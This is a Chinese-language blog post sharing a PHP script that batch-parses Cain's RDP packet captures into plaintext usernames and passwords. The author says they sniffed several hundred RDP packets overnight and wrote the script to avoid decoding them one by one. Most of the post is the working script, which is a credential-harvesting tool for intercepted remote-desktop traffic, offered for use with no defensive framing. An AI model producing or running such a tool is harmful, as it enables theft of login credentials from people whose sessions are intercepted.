Cain的RDP包批量解析为用户名+密码的php脚本
- 发表于
- 周边
昨天晚上开始嗅探,好家伙好几百个包,网上搜了一下有一款工具叫“Cain RDP Parser”,一个一个选,玩死人的。
索性写了个PHP脚本来批量解析。凑合着用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
<?php //Author Wdot //Site:http://wdot.cc //用法 php CainRdpParser.php /tmp/1.txt #单个文件解析 //用法 php CainRdpParser.php /tmp/RDP/ #批量解析 error_reporting(E_ERROR); if(is_dir($argv[1])) { foreach (scandir($argv[1]) as $key => $value) { if($value!=’.’ && $value!=’..’) { rdpParser($argv[1].$value); } } }elseif(is_file($argv[1])) { rdpParser($argv[1]); } function rdpParser($filename){ $crlf = “\r\n”; if(!file_exists($filename)){ print “file \”$filename\” not exists…$crlf”; return; } $rdpH=fopen($filename,’r'); print “FILE:”.basename($filename).$crlf; fseek($rdpH,0); while (!feof($rdpH)) { $line=trim(fgets($rdpH)); if(preg_match(“/\w+.address:.*?$/”,$line,$m)) { print $line.$crlf; } if(preg_match(“/^\[Client decrypted packet\]/”,$line,$m)) { $packet=”; while (!empty($line)) { $line=trim(fgets($rdpH)); $packet.=substr($line,5,48); } $packets=explode(’0000000000′,str_replace(‘ ‘, ”, $packet)); $i=count($packets)-27; $packets=explode(’0000′,$packets[$i]); $times=0; foreach ($packets as $key => $value) { if(empty($value) || $times>=2)continue; print (($times==0)?’username’:'password’).”:\t”.pack(‘H*’,$value).$crlf; $times++; } break; } } fclose($rdpH); print “——————————-$crlf”; } ?> |
原文连接:Cain的RDP包批量解析为用户名+密码的php脚本
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。